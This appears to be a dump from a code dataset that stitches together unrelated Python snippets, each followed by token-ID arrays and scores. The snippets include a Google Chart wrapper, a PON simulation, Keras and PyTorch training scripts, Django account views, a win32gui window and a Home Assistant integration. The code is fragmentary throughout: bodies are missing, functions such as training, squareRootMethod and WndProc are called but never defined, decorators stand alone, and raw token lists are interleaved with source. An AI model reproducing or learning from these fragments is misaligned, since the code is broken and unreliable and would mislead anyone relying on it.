<color>,
<data set index>,
<data point>,
<size>,
<priority>
see the official developers doc for the complete spec
APIPARAM: chm
"""
if len(args[0]) == 1:
assert args[0] in MARKERS, 'Invalid marker type: %s'%args[0]
assert len(args) <= 6, 'Incorrect arguments %s'%str(args)
args = color_args(args, 1)
self.markers.append(','.join(map(str,args)) )
return self
def margin(self, left, right, top, bottom, lwidth=0, lheight=0):
"""
Set margins for chart area
args are of the form::
<left margin>,
<right margin>,
<top margin>,
<bottom margin>|
<legend width>,
<legend height>
APIPARAM: chma
"""
self['chma'] = '%d,%d,%d,%d' % (left, right, top, bottom)
if lwidth or lheight:
self['chma'] += '|%d,%d' % (lwidth, lheight)
return self
def line(self, *args):
"""
Called one at a time for each dataset
args are of the form::
<data set n line thickness>,
<length of line segment>,
<length of blank segment>
APIPARAM: chls
"""
self.lines.append(','.join(['%.1f'%x for x in map(float,args)]))
return self
def fill(self, *args):
"""
Apply a solid fill to your chart
args are of the form <fill type>,<fill style>,...
fill type must be one of c,bg,a
fill style must be one of s,lg,ls
the rest of the args refer to the particular style
APIPARAM: chf
"""
a,b = args[:2]
assert a in ('c','bg','a'), 'Fill type must be bg/c/a not %s'%a
assert b in ('s','lg','ls'), 'Fill style must be s/lg/ls not %s'%b
if len(args) == 3:
args = color_args(args, 2)
else:
args = color_args(args, 3,5)
self.fills.append(','.join(map(str,args)))
return self
def grid(self, *args):
"""
Apply a grid to your chart
args are of the form::
<x axis step size>,
<y axis step size>,
<length of line segment>,
<length of blank segment>
<x offset>,
<y offset>
APIPARAM: chg
"""
grids = map(str,map(float,args))
self['chg'] = ','.join(grids).replace('None','')
return self
def color(self, *args):
"""
Add a color for each dataset
args are of the form <color 1>,...<color n>
APIPARAM: chco
"""
args = color_args(args, *range(len(args)))
self['chco'] = ','.join(args)
return self
def type(self, type):
"""
Set the chart type, either Google API type or regular name
APIPARAM: cht
"""
self['cht'] = self.check_type(str(type))
return self
def label(self, *args):
"""
Add a simple label to your chart
call each time for each dataset
APIPARAM: chl
"""
if self['cht'] == 'qr':
self['chl'] = ''.join(map(str,args))
else:
self['chl'] = '|'.join(map(str,args))
return self
def legend(self, *args):
"""
Add a legend to your chart
call each time for each dataset
APIPARAM: chdl
"""
self['chdl'] = '|'.join(args)
return self
def legend_pos(self, pos):
"""
Define a position for your legend to occupy
APIPARAM: chdlp
"""
assert pos in LEGEND_POSITIONS, 'Unknown legend position: %s'%pos
self['chdlp'] = str(pos)
return self
def title(self, title, *args):
"""
Add a title to your chart
args are optional style params of the form <color>,<font size>
APIPARAMS: chtt,chts
"""
self['chtt'] = title
if args:
args = color_args(args, 0)
self['chts'] = ','.join(map(str,args))
return self
def size(self,*args):
"""
Set the size of the chart, args are width,height and can be tuple
APIPARAM: chs
"""
if len(args) == 2:
x,y = map(int,args)
else:
x,y = map(int,args[0])
self.check_size(x,y)
self['chs'] = '%dx%d'%(x,y)
return self
def orientation(self, angle):
"""
Set the chart dataset orientation
angle is <angle in radians>
APIPARAM: chp
"""
self['chp'] = '%f'%angle
return self
position = orientation
def render(self):
"""
Renders the chart context and axes into the dict data
"""
self.update(self.axes.render())
encoder = Encoder(self._encoding, None, self._series)
if not 'chs' in self:
self['chs'] = '300x150'
else:
size = self['chs'].split('x')
assert len(size) == 2, 'Invalid size, must be in the format WxH'
self.check_size(*map(int,size))
assert 'cht' in self, 'No chart type defined, use type method'
self['cht'] = self.check_type(self['cht'])
if ('any' in dir(self._dataset) and self._dataset.any()) or self._dataset:
self['chd'] = encoder.encode(self._dataset)
elif not 'choe' in self:
assert 'chd' in self, 'You must have a dataset, or use chd'
if self._scale:
assert self['chd'].startswith('t'),\
'You must use text encoding with chds'
self['chds'] = ','.join(self._scale)
if self._geo and self._ld:
self['chtm'] = self._geo
self['chld'] = self._ld
if self.lines:
self['chls'] = '|'.join(self.lines)
if self.markers:
self['chm'] = '|'.join(self.markers)
if self.fills:
self['chf'] = '|'.join(self.fills)
###################
# Checks
###################
def check_size(self,x,y):
"""
Make sure the chart size fits the standards
"""
assert x <= 1000, 'Width larger than 1,000'
assert y <= 1000, 'Height larger than 1,000'
assert x*y <= 300000, 'Resolution larger than 300,000'
def check_type(self, type):
"""Check to see if the type is either in TYPES or fits type name
Returns proper type
"""
if type in TYPES:
return type
tdict = dict(zip(TYPES,TYPES))
tdict.update({
'line': 'lc',
'bar': 'bvs',
'pie': 'p',
'venn': 'v',
'scater': 's',
'radar': 'r',
'meter': 'gom',
})
assert type in tdict, 'Invalid chart type: %s'%type
return tdict[type]
#####################
# Convience Functions
#####################
def getname(self):
"""
Gets the name of the chart, if it exists
"""
return self.get('chtt','')
def getdata(self):
"""
Returns the decoded dataset from chd param
"""
#XXX: Why again? not even sure decode works well
return Encoder(self._encoding).decode(self['chd'])
@property
def url(self):
"""
Returns the rendered URL of the chart
"""
self.render()
return self._apiurl + '&'.join(self._parts()).replace(' ','+')
def show(self, *args, **kwargs):
"""
Shows the chart URL in a webbrowser
Other arguments passed to webbrowser.open
"""
from webbrowser import open as webopen
return webopen(str(self), *args, **kwargs)
def save(self, fname=None):
"""
Download the chart from the URL into a filename as a PNG
The filename defaults to the chart title (chtt) if any
"""
if not fname:
fname = self.getname()
assert fname != None, 'You must specify a filename to save to'
if not fname.endswith('.png'):
fname += '.png'
try:
urlretrieve(self.url, fname)
except Exception:
raise IOError('Problem saving %s to file'%fname)
return fname
def img(self, **kwargs):
"""
Returns an XHTML <img/> tag of the chart
kwargs can be other img tag attributes, which are strictly enforced
uses strict escaping on the url, necessary for proper XHTML
"""
safe = 'src="%s" ' % self.url.replace('&','&').replace('<', '<')\
.replace('>', '>').replace('"', '"').replace( "'", ''')
for item in kwargs.items():
if not item[0] in IMGATTRS:
raise AttributeError('Invalid img tag attribute: %s'%item[0])
safe += '%s="%s" '%item
return '<img %s/>'%safe
def urlopen(self):
"""
Grabs readable PNG file pointer
"""
req = Request(str(self))
try:
return urlopen(req)
except HTTPError:
_print('The server couldn\'t fulfill the request.')
except URLError:
_print('We failed to reach a server.')
def image(self):
"""
Returns a PngImageFile instance of the chart
You must have PIL installed for this to work
"""
try:
try:
import Image
except ImportError:
from PIL import Image
except ImportError:
raise ImportError('You must install PIL to fetch image objects')
try:
from cStringIO import StringIO
except ImportError:
from StringIO import StringIO
return Image.open(StringIO(self.urlopen().read()))
def write(self, fp):
"""
Writes out PNG image data in chunks to file pointer fp
fp must support w or wb
"""
urlfp = self.urlopen().fp
while 1:
try:
fp.write(urlfp.next())
except StopIteration:
return
def checksum(self):
"""
Returns the unique SHA1 hexdigest of the chart URL param parts
good for unittesting...
"""
self.render()
return new_sha(''.join(sorted(self._parts()))).hexdigest()
# Now a whole mess of convenience classes
# *for those of us who dont speak API*
########################################
# Now for something completely different
########################################
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2735,
329,
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3190,
1180,
198,
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7804,
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] | 2.129214 | 9,047 |
import sim
# seed
sim.random.seed(13)
# environment
env = sim.simpy.Environment()
# writer
# packet_w = Writer("packet_", start="# id src init_time waited_time freq processed_time\n")
# default values
sim.tg_default_size = lambda x: 5000
sim.tg_default_dist = lambda x: 1
sim.ONU_consumption = lambda x: 15
sim.PN_consumption = lambda x: 25
sim.Ant_consumption = lambda x: 7
sim.DBA_IPACT_default_bandwidth = 5000
# constants
# topology
antenas = 3
onus = 2
pns = 2
splts = 1
max_freqs = 10
matrix = [
[0,3,10000],
[1,3,9000],
[2,4,13000],
[3,5,500],
[4,7,25000],
[5,7,23000],
[7,6,8000]
]
# nodes
nodes = sim.create_topology(env, antenas, onus, pns, splts, matrix, max_freqs)
# rules
nodes[5].end() # node 5 starts offline
nodes[0].end() # antenna 0 starts offline
nodes[1].end() # antenna 1 starts offline
print(nodes[3], "enabled:", nodes[3].enabled)
nodes[3].end() # onu 0 starts offline
print(nodes[3], "enabled:", nodes[3].enabled)
print("Begin.")
env.run(until=10)
print("End.")
# consumption
for n in nodes:
if(isinstance(n, sim.Splitter)):
continue
else:
print(str(n), "had consumption of:", n.consumption()) | [
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] | 2.439331 | 478 |
'''
File to train the NIC model, based on the paper:
https://www.cv-foundation.org/openaccess/content_cvpr_2015/papers/Vinyals_Show_and_Tell_2015_CVPR_paper.pdf
'''
from keras.callbacks import ModelCheckpoint
from keras.models import Model, load_model
from keras.optimizers import Adam
from keras.utils import plot_model
from NIC import model
from preprocessing.text import create_tokenizer
from utils import batch_generator
from TensorBoardCaption import TensorBoardCaption
if __name__ == "__main__":
dict_dir = './datasets/features_dict.pkl'
train_dir = './datasets/Flickr8k_text/Flickr_8k.trainImages.txt'
dev_dir = './datasets/Flickr8k_text/Flickr_8k.devImages.txt'
token_dir = './datasets/Flickr8k_text/Flickr8k.token.txt'
# where to put the model weigths
params_dir = './model-params'
dirs_dict={'dict_dir':dict_dir, 'train_dir':train_dir, 'dev_dir':dev_dir,
'token_dir':token_dir, 'params_dir':params_dir}
training(dirs_dict, lr=0.001, decay=0., reg = 1e-4, batch_size = 120, epochs = 2,
max_len = 24, initial_epoch = 0, previous_model = None)
| [
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796,
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62,
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796,
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] | 2.552036 | 442 |
import cPickle as pickle
import matplotlib.pyplot as plt
import numpy as np
import networkx as nx
| [
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# -*- coding: utf-8 -*-
"""Tests for classes in _classes module."""
from inspect import getmembers, isclass
import numpy as np
import pandas as pd
import pytest
from sktime.performance_metrics.forecasting import _classes
from sktime.utils._testing.series import _make_series
metric_classes = getmembers(_classes, isclass)
exclude_starts_with = ("_", "Base")
metric_classes = [x for x in metric_classes if not x[0].startswith(exclude_starts_with)]
names, metrics = zip(*metric_classes)
@pytest.mark.parametrize("n_columns", [1, 2])
@pytest.mark.parametrize("multioutput", ["uniform_average", "raw_values"])
@pytest.mark.parametrize("metric", metrics, ids=names)
def test_metric_output_direct(metric, multioutput, n_columns):
"""Test output is of correct type, dependent on multioutput.
Also tests that four ways to call the metric yield equivalent results:
1. using the __call__ dunder
2. calling the evaluate method
"""
y_pred = _make_series(n_columns=n_columns, n_timepoints=20, random_state=21)
y_true = _make_series(n_columns=n_columns, n_timepoints=20, random_state=42)
# coerce to DataFrame since _make_series does not return consisten output type
y_pred = pd.DataFrame(y_pred)
y_true = pd.DataFrame(y_true)
res = dict()
res[1] = metric(multioutput=multioutput)(
y_true=y_true,
y_pred=y_pred,
y_pred_benchmark=y_pred,
y_train=y_true,
)
res[2] = metric(multioutput=multioutput).evaluate(
y_true=y_true,
y_pred=y_pred,
y_pred_benchmark=y_pred,
y_train=y_true,
)
if multioutput == "uniform_average":
assert all(isinstance(x, float) for x in res.values())
elif multioutput == "raw_values":
assert all(isinstance(x, np.ndarray) for x in res.values())
assert all(x.ndim == 1 for x in res.values())
assert all(len(x) == len(y_true.columns) for x in res.values())
# assert results from all options are equal
assert np.allclose(res[1], res[2])
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198
] | 2.514215 | 809 |
import numpy as np
import numpy.linalg as la
import math
if __name__ == '__main__':
n = 4
matrixA = np.array([[3.738, 0.195, 0.275, 0.136],
[0.519, 5.002, 0.405, 0.283],
[0.306, 0.381, 4.812, 0.418],
[0.272, 0.142, 0.314, 3.935]])
matrixB = np.array([0.815, 0.191, 0.423, 0.352])
# n = int(input("Введите размерность системы уравнений "))
# print("Система уравнений будет иметь вид:")
# for i in range(n):
# for j in range(n):
# print("a{0}{1}*x{2}".format(i + 1, j + 1, j + 1), end="")
# if j != n - 1:
# print("+", end="")
# else:
# print("=", end="")
# print("b{0}".format(i + 1))
# matrixA = np.zeros((n, n))
# matrixB = np.zeros(n)
# for i in range(n):
# for j in range(n):
# matrixA[i][j] = input("a{0}{1}=".format(i + 1, j + 1))
# matrixB[i] = input("b{0}=".format(i + 1))
print("Система уравнений будет иметь вид:")
printSystemOfEquations(n, matrixA, matrixB)
squareRootMethod(n, matrixA, matrixB)
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] | 1.62642 | 704 |
# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved.
''' Imports '''
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torch.optim.lr_scheduler import StepLR
import argparse
import random
import numpy as np
import time
from tqdm import tqdm
import matplotlib.pyplot as plt
import matplotlib.ticker as ticker
import operator
import os
import sys
import signal
from Var import Var
from DataLoader import DataLoader
import sklearn.model_selection as ms
import sklearn.preprocessing as pr
plt.switch_backend('agg')
use_cuda = torch.cuda.is_available()
v = Var()
num_classes = v.get_num_classes()
popnn_vars = v.get_POPNN()
class Model(nn.Module):
''' FC Neural Network '''
def forward(self, input):
''' Forward pass through network '''
output = input.view(-1, self.num_features * self.input_size)
output = self.drop(F.relu(self.fc1(output)))
output = self.drop(F.relu(self.fc2(output)))
output = self.drop(F.relu(self.fc3(output)))
output = self.drop(F.relu(self.fc4(output)))
output = F.logsigmoid(output)
return output
def accuracy(output, label):
''' Check if network output is equal to the corresponding label '''
max_idx, val = max(enumerate(output[0]), key=operator.itemgetter(1))
out = torch.zeros(1, num_classes).cuda() if use_cuda else torch.zeros(1, num_classes)
out[0][max_idx] = 1
if torch.eq(out.float(), label).byte().all():
return 1
else:
return 0
def train(model, optim, criterion, datum, label):
''' Modify weights based off cost from one datapoint '''
optim.zero_grad()
output = model(datum)
output = output.view(1, num_classes)
is_correct = accuracy(output, label)
loss = criterion(output, label)
loss.backward()
optim.step()
return loss.item(), is_correct
def test_accuracy(model, x_test, y_test):
''' Accuracy of Model on test data '''
num_correct = 0
for test, label in zip(x_test, y_test):
output = model(test.view(1, model.num_features, model.input_size))
is_correct = accuracy(output, label)
num_correct += is_correct
return num_correct / float(x_test.size()[0])
def create_plot(loss, train_acc, test_acc, num_epochs, plot_every, fn):
''' Creates graph of loss, training accuracy, and test accuracy '''
plt.figure()
fig, ax = plt.subplots()
x_ticks = range(plot_every, num_epochs + 1, plot_every)
y_ticks = np.arange(0, 1.1, 0.1)
plt.subplot(111)
plt.plot(x_ticks, loss, label="Average Loss")
plt.plot(x_ticks, train_acc, label="Training Accuracy")
plt.plot(x_ticks, test_acc, label="Validation Accuracy")
plt.legend(bbox_to_anchor=(0., 1.02, 1., .102), loc=3,
ncol=2, mode="expand", borderaxespad=0.)
plt.xticks(x_ticks)
plt.yticks(y_ticks)
plt.axis([0, num_epochs, 0, 1])
plt.ylabel("Average Loss")
plt.xlabel("Epoch")
''' Save graph '''
plt.savefig(fn)
def train_iters(model, x_train, y_train, x_test, y_test, fn, lr=popnn_vars['lr'], batch_size=popnn_vars["batch_size"], num_epochs=popnn_vars["num_epochs"], print_every=popnn_vars['print_every'], plot_every=popnn_vars['plot_every']):
''' Trains neural net for numEpochs iters '''
num = fn.split('/')[-1].split('.')[0].split('popnn')[-1]
plot_fn = "graphs/popnn/lossAvg%s.png" % num
def sigint_handler(sig, iteration):
''' Handles Ctrl + C. Save the data into npz files. Data inputted into thenetwork '''
torch.save(model.state_dict(), fn)
create_plot(plot_loss_avgs, train_accuracies,
test_accuracies, num_epochs, plot_every, plot_fn)
print("Saving model and Exiting")
sys.exit(0)
''' Initialize sigint handler '''
signal.signal(signal.SIGINT, sigint_handler)
plot_loss_avgs = []
epochs = []
train_accuracies = []
test_accuracies = []
loss_total = 0
plot_loss_total = 0
num_correct = 0
plot_correct = 0
optimizer = optim.Adam(model.parameters(), lr=lr)
if gamma != None:
scheduler = StepLR(optimizer, step_size=300, gamma=gamma)
criterion = nn.BCEWithLogitsLoss()
y_train = torch.from_numpy(y_train).float().cuda(
) if use_cuda else torch.from_numpy(y_train).float()
x_train = torch.from_numpy(x_train).float().cuda(
) if use_cuda else torch.from_numpy(x_train).float()
y_test = torch.from_numpy(y_test).float().cuda(
) if use_cuda else torch.from_numpy(y_test).float()
x_test = torch.from_numpy(x_test).float().cuda(
) if use_cuda else torch.from_numpy(x_test).float()
for current_epoch in tqdm(range(num_epochs)):
if gamma != None:
scheduler.step()
for i in range(batch_size):
frame_num = random.randint(0, x_train.size()[0] - 1)
frame = x_train[frame_num].view(1, model.num_features, model.input_size)
label = y_train[frame_num].view(1, num_classes)
loss, is_correct = train(
model, optimizer, criterion, frame, label)
num_correct += is_correct
loss_total += loss
plot_correct += is_correct # Make a copy of numCorrect for plot_every
plot_loss_total += loss
if (current_epoch + 1) % print_every == 0:
avg_loss = loss_total / (print_every * batch_size)
train_acc = num_correct / float(print_every * batch_size)
test_acc = test_accuracy(model, x_test, y_test)
tqdm.write("[Epoch %d/%d] Avg Loss: %f, Training Acc: %f, Validation Acc: %f" %
(current_epoch + 1, num_epochs, avg_loss, train_acc, test_acc))
loss_total = 0
num_correct = 0
if (current_epoch + 1) % plot_every == 0:
plot_test_acc = test_accuracy(model, x_test, y_test)
plot_train_acc = plot_correct / float(plot_every * batch_size)
train_accuracies.append(plot_train_acc)
test_accuracies.append(plot_test_acc)
avg_loss = plot_loss_total / (plot_every * batch_size)
plot_loss_avgs.append(avg_loss)
epochs.append(current_epoch + 1)
plot_correct = 0
plot_loss_total = 0
create_plot(plot_loss_avgs, train_accuracies,
test_accuracies, num_epochs, plot_every, plot_fn)
if __name__ == "__main__":
''' Argparse Flags '''
parser = argparse.ArgumentParser(description='Fully Connected Feed Forward Net on tf-openpose data')
parser.add_argument("--transfer", "-t", dest="transfer", action="store_true")
parser.add_argument('--debug', dest='debug', action='store_true')
parser.add_argument("--ckpt-fn", "-c", dest="ckpt_fn",
type=str, default="popnn000.ckpt")
parser.add_argument("--save-fn", "-s", dest="save_fn",
type=str, default="popnn000.ckpt")
parser.add_argument("--learning-rate", "-lr",
dest="learning_rate", type=float, default=0.000035)
parser.add_argument("--num-epochs", "-e", dest="num_epochs",
type=int, default=1000, help='number of training iterations')
parser.add_argument("--batch-size", "-b", dest="batch_size", type=int,
default=256, help='number of training samples per epoch')
parser.add_argument('--num-frames', '-f', dest='num_frames', type=int, default=4,
help='number of consecutive frames where distances are accumulated')
parser.add_argument('--lr-decay-rate', '-d', dest='gamma', type=float, default=None)
parser.add_argument('--only-arm', '-o', dest='use_arm', action='store_true',
help="only use arm data")
parser.add_argument('--multiply-by-score', '-m', dest='m_score', action='store_true')
''' Set argparse defaults '''
parser.set_defaults(use_arm=False)
parser.set_defaults(transfer=False)
parser.set_defaults(debug=False)
parser.set_defaults(m_score=False)
''' Set variables to argparse arguments '''
args = parser.parse_args()
transfer = args.transfer
debug = args.debug
gamma = args.gamma
use_arm = args.use_arm
m_score = m_score
ckpt_fn = "lstmpts/popnn/%s" % args.ckpt_fn
fn = "lstmpts/popnn/%s" % args.save_fn
v = Var(use_arm)
input_size = v.get_size()
num_features = v.get_num_features()
dropout = popnn_vars['dropout']
model = Model(input_size=input_size, num_features=num_features, dropout=dropout)
model = model.cuda() if use_cuda else model
if transfer:
model.load_state_dict(torch.load(ckpt_fn))
print("Transfer Learning")
else:
print("Not Transfer Learning")
loader = DataLoader(args.num_frames, use_arm, m_score)
inp1, out1 = loader.load_all()
x_train, x_test, y_train, y_test = ms.train_test_split(
inp1, out1, test_size=0.15, random_state=23)
x_train = pr.normalize(x_train)
y_train = pr.normalize(y_train)
x_test = pr.normalize(x_test)
y_test = pr.normalize(y_test)
train_iters(model, x_train, y_train, x_test, y_test, fn)
torch.save(model.state_dict(), fn) | [
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] | 2.525106 | 3,306 |
#
# @lc app=leetcode id=226 lang=python
#
# [226] Invert Binary Tree
#
# https://leetcode.com/problems/invert-binary-tree/description/
#
# algorithms
# Easy (56.72%)
# Total Accepted: 297.1K
# Total Submissions: 522.5K
# Testcase Example: '[4,2,7,1,3,6,9]'
#
# Invert a binary tree.
#
# Example:
#
# Input:
#
#
# 4
# / \
# 2 7
# / \ / \
# 1 3 6 9
#
# Output:
#
#
# 4
# / \
# 7 2
# / \ / \
# 9 6 3 1
#
# Trivia:
# This problem was inspired by this original tweet by Max Howell:
#
# Google: 90% of our engineers use the software you wrote (Homebrew), but you
# can’t invert a binary tree on a whiteboard so f*** off.
#
#
# Definition for a binary tree node.
# class TreeNode(object):
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
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220,
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2,
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2,
352,
220,
220,
513,
718,
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2,
198,
2,
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25,
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2,
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254,
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83,
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7,
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7,
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2,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
2100,
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2124,
198,
2,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
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796,
6045,
198,
2,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
3506,
796,
6045,
628
] | 2.137405 | 393 |
import os
#Functions for Blackjack
| [
11748,
28686,
198,
198,
2,
24629,
2733,
329,
2619,
19650,
198,
220,
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220,
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] | 2.666667 | 15 |
# Advanced Multi-Mission Operations System (AMMOS) Instrument Toolkit (AIT)
# Bespoke Link to Instruments and Small Satellites (BLISS)
#
# Copyright 2018, by the California Institute of Technology. ALL RIGHTS
# RESERVED. United States Government Sponsorship acknowledged. Any
# commercial use must be negotiated with the Office of Technology Transfer
# at the California Institute of Technology.
#
# This software may be subject to U.S. export control laws. By accepting
# this software, the user agrees to comply with all applicable U.S. export
# laws and regulations. User has the responsibility to obtain export licenses,
# or other export authority as may be required before exporting such
# information to foreign countries or providing access to foreign persons.
from ait.dsn.cfdp.primitives import Role, MachineState, FinalStatus, IndicationType, HandlerCode, ConditionCode
from ait.dsn.cfdp.events import Event
import ait.core.log
class ID(object):
"""
CFDP entity ID. Unsigned binary integer
Entity ID length is 3 bits, value can be up to 8 octets (bytes) long
Entity ID is packed in PDUs by octet length less 1 (e.g. 0 for 1 octet length)
"""
# TODO figure out 3 bit length, 8 byte value restriction
@property
@length.setter
@property
@value.setter
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220,
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220,
2488,
26745,
628,
220,
220,
220,
2488,
8367,
13,
2617,
353,
628,
198
] | 3.690141 | 355 |
import json
import logging
import re
import uuid
from datetime import datetime
import requests
from allauth.account.models import EmailAddress
from allauth.account.views import (
LoginView, LogoutView, SignupView,
PasswordChangeView, PasswordSetView,
PasswordResetView, PasswordResetDoneView, PasswordResetFromKeyView, PasswordResetFromKeyDoneView,
EmailVerificationSentView, ConfirmEmailView, EmailView, AccountInactiveView
)
from allauth.socialaccount import views as socialaccount_views
from allauth.socialaccount.models import SocialAccount
from django.conf import settings
from django.contrib.auth import get_user_model
from django.contrib.auth import logout
from django.contrib.auth.mixins import (
AccessMixin, LoginRequiredMixin
)
from django.contrib.gis.geoip2 import GeoIP2
from django.shortcuts import (
get_object_or_404
)
from django.urls import reverse
from django.utils.timezone import (
timedelta, localtime, make_aware, now
)
from django.utils.translation import ugettext_lazy as _
from django.views.generic import (
TemplateView, UpdateView, DetailView, FormView
)
from geoip2.errors import AddressNotFoundError
from ipware import get_client_ip
from rest_framework import (
status, views
)
from rest_framework.response import Response
from rakmai.viewmixins import HostContextMixin
from shop.models import Order
from shop.tasks import (
send_notification_line
)
from shop.viewmixins import StoreContextMixin
from . import settings as member_settings
from .forms2 import (
MemberLoginForm, MemberResetPasswordForm, MemberResetPasswordKeyForm, MemberAddEmailForm,
MemberChangePasswordForm, MemberSetPasswordForm,
MemberDocumentForm, MemberUnregisterForm, MemberChangeNameForm,
)
from .models import (
Profile, PhoneVerificationLog, PhoneBanned
)
from .serializers import IamportSmsCallbackSerializer
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35215,
8479,
11,
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220,
220,
220,
10239,
24941,
8479,
11,
10239,
3118,
30238,
8479,
11,
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19400,
5376,
8479,
11,
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8,
198,
6738,
764,
27530,
1330,
357,
198,
220,
220,
220,
13118,
11,
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2649,
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8,
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628,
628,
628,
628,
628,
628,
628,
628,
628,
628,
628,
628,
198
] | 3.371226 | 563 |
"""
ref: https://blog.csdn.net/chengqiuming/article/details/78601000
"""
import win32gui
from win32con import *
wc = win32gui.WNDCLASS()
wc.hbrBackground = COLOR_BTNFACE + 1
wc.hCursor = win32gui.LoadCursor(0, IDI_APPLICATION)
wc.lpszClassName = "Python no Windows"
wc.lpfnWndProc = WndProc
reg = win32gui.RegisterClass(wc)
hwnd = win32gui.CreateWindow(reg, 'Python', WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
CW_USEDEFAULT, 0, 0, 0, None)
win32gui.ShowWindow(hwnd, SW_SHOWNORMAL)
win32gui.UpdateWindow(hwnd)
win32gui.PumpMessages()
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] | 2.197761 | 268 |
# This file is part of the Hotwire Shell project API.
# Copyright (C) 2007 Colin Walters <[email protected]>
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
# of the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
# INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
# PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE X CONSORTIUM BE
# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR
# THE USE OR OTHER DEALINGS IN THE SOFTWARE.
import os,sys
from hotwire.completion import Completer, Completion
from hotwire.builtins.sys_builtin import SystemCompleters
from hotwire.externals.singletonmixin import Singleton
#SystemCompleters.getInstance()['rpm'] = rpm_completion | [
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] | 3.700265 | 377 |
import unittest
from securityheaders.checkers.csp import CSPDeprecatedDirectiveChecker, CSPReportOnlyDeprecatedDirectiveChecker
if __name__ == '__main__':
unittest.main()
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import pandas as pd
from datetime import datetime
from dateutil import parser
| [
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] | 3.809524 | 21 |
#!/usr/bin/env python
import os
import shutil
PROJECT_DIRECTORY = os.path.realpath(os.path.curdir)
if __name__ == '__main__':
if '{{ cookiecutter.authors_format }}' == 'Markdown':
remove_file('AUTHORS.rst')
remove_file('docs/source/AUTHORS.rst')
elif '{{ cookiecutter.authors_format }}' == 'reStructuredText':
remove_file('AUTHORS.md')
remove_file('docs/source/AUTHORS.md')
else:
remove_file('AUTHORS.rst')
remove_file('docs/source/AUTHORS.rst')
remove_file('AUTHORS.md')
remove_file('docs/source/AUTHORS.md')
if '{{ cookiecutter.readme_format }}' == 'Markdown':
remove_file('README.rst')
remove_file('docs/source/README.rst')
elif '{{ cookiecutter.readme_format }}' == 'reStructuredText':
remove_file('README.md')
remove_file('docs/source/README.md')
if '{{ cookiecutter.changelog_format }}' == 'Markdown':
remove_file('CHANGELOG.rst')
remove_file('docs/source/CHANGELOG.rst')
elif '{{ cookiecutter.changelog_format }}' == 'reStructuredText':
remove_file('CHANGELOG.md')
remove_file('docs/source/CHANGELOG.md')
else:
remove_file('CHANGELOG.rst')
remove_file('docs/source/CHANGELOG.rst')
remove_file('CHANGELOG.md')
remove_file('docs/source/CHANGELOG.md')
if '{{ cookiecutter.license }}' == 'None':
remove_file('LICENSE')
remove_file('docs/source/license.rst')
if '{{ cookiecutter.use_sphinx_documentation }}' == 'no':
remove_directory('docs')
if '{{ cookiecutter.install_issues_templates }}' == 'no':
remove_directory('.github')
remove_directory('.gitlab')
elif '{{ cookiecutter.install_issues_templates }}' == 'Gitlab':
remove_directory('.github')
elif '{{ cookiecutter.install_issues_templates }}' == 'Github':
remove_directory('.gitlab')
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] | 2.26 | 850 |
"""The MagicMirror integration."""
from __future__ import annotations
from datetime import timedelta
from aiohttp.client_exceptions import ClientConnectorError
from async_timeout import timeout
from voluptuous.error import Error
from homeassistant.core import HomeAssistant
from homeassistant.helpers.entity import DeviceInfo
from homeassistant.helpers.update_coordinator import DataUpdateCoordinator, UpdateFailed
from .api import MagicMirrorApiClient
from .const import DOMAIN as MAGICMIRROR_DOMAIN, LOGGER
from .models import Entity, MonitorResponse, QueryResponse
class MagicMirrorDataUpdateCoordinator(DataUpdateCoordinator):
"""Class to manage fetching MagicMirror data."""
def __init__(
self,
hass: HomeAssistant,
api: MagicMirrorApiClient,
) -> None:
"""Initialize."""
self.api = api
self._attr_device_info = DeviceInfo(
name="MagicMirror",
model="MagicMirror",
manufacturer="MagicMirror",
identifiers={(MAGICMIRROR_DOMAIN, "MagicMirror")},
configuration_url=f"{api.base_url}/remote.html",
)
super().__init__(
hass,
LOGGER,
name=MAGICMIRROR_DOMAIN,
update_interval=timedelta(minutes=1),
)
async def _async_update_data(self) -> dict[str, str]:
"""Update data via library."""
try:
async with timeout(10):
monitor: MonitorResponse = await self.api.monitor_status()
update: QueryResponse = await self.api.update_available()
brightness: QueryResponse = await self.api.get_brightness()
if not monitor.success:
LOGGER.warning("Failed to fetch monitor-status for MagicMirror")
if not update.success:
LOGGER.warning("Failed to fetch update-status for MagicMirror")
if not brightness.success:
LOGGER.warning("Failed to fetch brightness for MagicMirror")
return {
Entity.MONITOR_STATUS.value: monitor.monitor,
Entity.UPDATE_AVAILABLE.value: bool(update.result),
Entity.BRIGHTNESS.value: int(brightness.result),
}
except (Error, ClientConnectorError) as error:
LOGGER.error("Update error %s", error)
raise UpdateFailed(error) from error
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] | 2.344168 | 1,046 |
from qittle.types.responses import hook
from .base import Base
| [
6738,
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] | 3.190476 | 21 |
"""hug/documentation.py
Defines tools that automate the creation of documentation for an API build using the Hug Framework
Copyright (C) 2015 Timothy Edmund Crosley
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
documentation files (the "Software"), to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and
to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or
substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED
